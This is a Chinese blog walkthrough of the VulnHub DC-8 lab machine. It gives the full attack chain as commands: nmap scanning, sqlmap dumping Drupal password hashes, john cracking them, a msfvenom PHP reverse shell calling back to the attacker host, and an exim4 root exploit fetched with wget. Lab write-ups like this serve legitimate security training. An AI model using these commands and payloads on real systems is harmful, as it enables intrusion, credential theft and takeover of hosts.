VulnHub靶机 DC-8 打靶实战 详细渗透过程

2024-04-24 09:20

本文主要是介绍VulnHub靶机 DC-8 打靶实战 详细渗透过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

VulnHub靶机 DC-8 打靶 详细渗透过程

目录

  • VulnHub靶机 DC-8 打靶 详细渗透过程
    • 一、将靶机配置导入到虚拟机当中
    • 二、渗透测试流程
      • 主机发现
      • 端口扫描
      • Web渗透
        • SQL注入
        • 登录后台
        • 反弹shell
        • 提权

一、将靶机配置导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-8,367/

image-20240423222428354

二、渗透测试流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

arp-scan -l

image-20240423223107919

端口扫描

nmap -p- 192.168.0.105

image-20240423223230955

开放了80端口和22端口,详细探测一下服务信息

nmap -p80 -sV -A 192.168.0.105

image-20240423223412730

探测一下指纹信息:

whatweb http://192.168.0.105

image-20240423223453030

Web渗透

SQL注入

访问web界面,通过上述信息收集加插件,得到以下信息,采用Drupal CMS,版本为Drupal 7

image-20240423223620216

点击左侧,发现url当中出现id参数变化,尝试sql注入

url:http://192.168.0.105/?nid=1

image-20240423223824333

sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba --batch --dbs

image-20240423224112264

当前数据库d7db,但不是dba

image-20240423224132681

查看数据库当中的表信息,还有表中的内容

//爆数据表
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db --tables
//查看表中数据字段
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users --columns
//爆字段数据
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users -C "name,pass" --dump

d7db数据库当中的users数据表

image-20240423224347637

d7db数据库当中的users数据表,查看表中字段内容

image-20240423224513567

成功查询用户名和密码,将密码保存到记事本当中进行破解

image-20240423224609984

登录后台

根据用户名当中提示信息john,使用john进行hash密码破解

将密码保存到文本文件当中,john破解即可

image-20240423231749154

john 1.txt
//admin破解失败,john破解成功
//用户名和密码
john
turtle 
dirsearch -u http://192.168.0.105/ -i 200

通过目录爆破后,成功找到后台并进入

image-20240423230422657

成功进入后台

image-20240423231920692

反弹shell

找到可代码执行的地方,或者可以输入代码的地方,尝试输入,保存即可。

这里还可以使用msf生成php反弹shell脚本,放入其中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888 -f raw

将代码放入其中

image-20240423233442210

image-20240423234717871

然后返回提交以后才能执行代码,msf开启监听即可接受到shell

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit

image-20240423233920492

成功接收shell,www-data普通权限

image-20240423234416644

获取稳定shell,查看目录下有无有价值信息,发现没有

python -c "import pty;pty.spawn('/bin/bash')"

image-20240423234905116

提权

查找系统下suid权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20240423235020352

查看一下exim4版本信息

image-20240423235700466

搜索相关漏洞,进行利用

searchsploit exim 4

找到版本相近的问题

image-20240423235753917

将其拷贝到本地,发现靶机有wget命令,那么可以通过wget进行下载,本地通过python开启一个http服务

//拷贝脚本
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /opt/exp.sh
//本地开启http服务
python -m http.server 8080

image-20240424000040857

到靶机端进行下载exp.sh即可

wget http://192.168.0.106:8080/exp.sh

image-20240424000153773

image-20240424000211403

赋予执行权限,执行一下

chmod 755 exp.sh
./exp.sh
或bash exp.sh

image-20240424000345193

查看源码,需要带参数

image-20240424000810975

image-20240424000716975

或者我们直接敲上 -h查看帮助的参数

./exp.sh -h

发现得加参数,依次尝试即可

image-20240424000432623

./exp.sh -m setuid 失败
./exp.sh -m netcat

./exp.sh -m netcat 成功提权

image-20240424000529168

image-20240424000617527

思路:

主机发现—端口扫描—服务探针—指纹识别—发现注入点—web渗透SQL注入—获取用户名密码—登入后台—发现可加载PHP代码输入PHP代码—反弹shell—提权—exim4漏洞利用

文章不妥之处,欢迎批评指正!!!

这篇关于VulnHub靶机 DC-8 打靶实战 详细渗透过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/931353

相关文章

从原理到实战深入理解Java 断言assert

《从原理到实战深入理解Java断言assert》本文深入解析Java断言机制,涵盖语法、工作原理、启用方式及与异常的区别,推荐用于开发阶段的条件检查与状态验证,并强调生产环境应使用参数验证工具类替代... 目录深入理解 Java 断言(assert):从原理到实战引言:为什么需要断言?一、断言基础1.1 语

SpringBoot整合liteflow的详细过程

《SpringBoot整合liteflow的详细过程》:本文主要介绍SpringBoot整合liteflow的详细过程,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋...  liteflow 是什么? 能做什么?总之一句话:能帮你规范写代码逻辑 ,编排并解耦业务逻辑,代码

Java MQTT实战应用

《JavaMQTT实战应用》本文详解MQTT协议,涵盖其发布/订阅机制、低功耗高效特性、三种服务质量等级(QoS0/1/2),以及客户端、代理、主题的核心概念,最后提供Linux部署教程、Sprin... 目录一、MQTT协议二、MQTT优点三、三种服务质量等级四、客户端、代理、主题1. 客户端(Clien

Java中调用数据库存储过程的示例代码

《Java中调用数据库存储过程的示例代码》本文介绍Java通过JDBC调用数据库存储过程的方法,涵盖参数类型、执行步骤及数据库差异,需注意异常处理与资源管理,以优化性能并实现复杂业务逻辑,感兴趣的朋友... 目录一、存储过程概述二、Java调用存储过程的基本javascript步骤三、Java调用存储过程示

MySQL中的InnoDB单表访问过程

《MySQL中的InnoDB单表访问过程》:本文主要介绍MySQL中的InnoDB单表访问过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、环境3、访问类型【1】const【2】ref【3】ref_or_null【4】range【5】index【6】

在Spring Boot中集成RabbitMQ的实战记录

《在SpringBoot中集成RabbitMQ的实战记录》本文介绍SpringBoot集成RabbitMQ的步骤,涵盖配置连接、消息发送与接收,并对比两种定义Exchange与队列的方式:手动声明(... 目录前言准备工作1. 安装 RabbitMQ2. 消息发送者(Producer)配置1. 创建 Spr

浏览器插件cursor实现自动注册、续杯的详细过程

《浏览器插件cursor实现自动注册、续杯的详细过程》Cursor简易注册助手脚本通过自动化邮箱填写和验证码获取流程,大大简化了Cursor的注册过程,它不仅提高了注册效率,还通过友好的用户界面和详细... 目录前言功能概述使用方法安装脚本使用流程邮箱输入页面验证码页面实战演示技术实现核心功能实现1. 随机

深度解析Spring Boot拦截器Interceptor与过滤器Filter的区别与实战指南

《深度解析SpringBoot拦截器Interceptor与过滤器Filter的区别与实战指南》本文深度解析SpringBoot中拦截器与过滤器的区别,涵盖执行顺序、依赖关系、异常处理等核心差异,并... 目录Spring Boot拦截器(Interceptor)与过滤器(Filter)深度解析:区别、实现

Navicat数据表的数据添加,删除及使用sql完成数据的添加过程

《Navicat数据表的数据添加,删除及使用sql完成数据的添加过程》:本文主要介绍Navicat数据表的数据添加,删除及使用sql完成数据的添加过程,具有很好的参考价值,希望对大家有所帮助,如有... 目录Navicat数据表数据添加,删除及使用sql完成数据添加选中操作的表则出现如下界面,查看左下角从左

深度解析Spring AOP @Aspect 原理、实战与最佳实践教程

《深度解析SpringAOP@Aspect原理、实战与最佳实践教程》文章系统讲解了SpringAOP核心概念、实现方式及原理,涵盖横切关注点分离、代理机制(JDK/CGLIB)、切入点类型、性能... 目录1. @ASPect 核心概念1.1 AOP 编程范式1.2 @Aspect 关键特性2. 完整代码实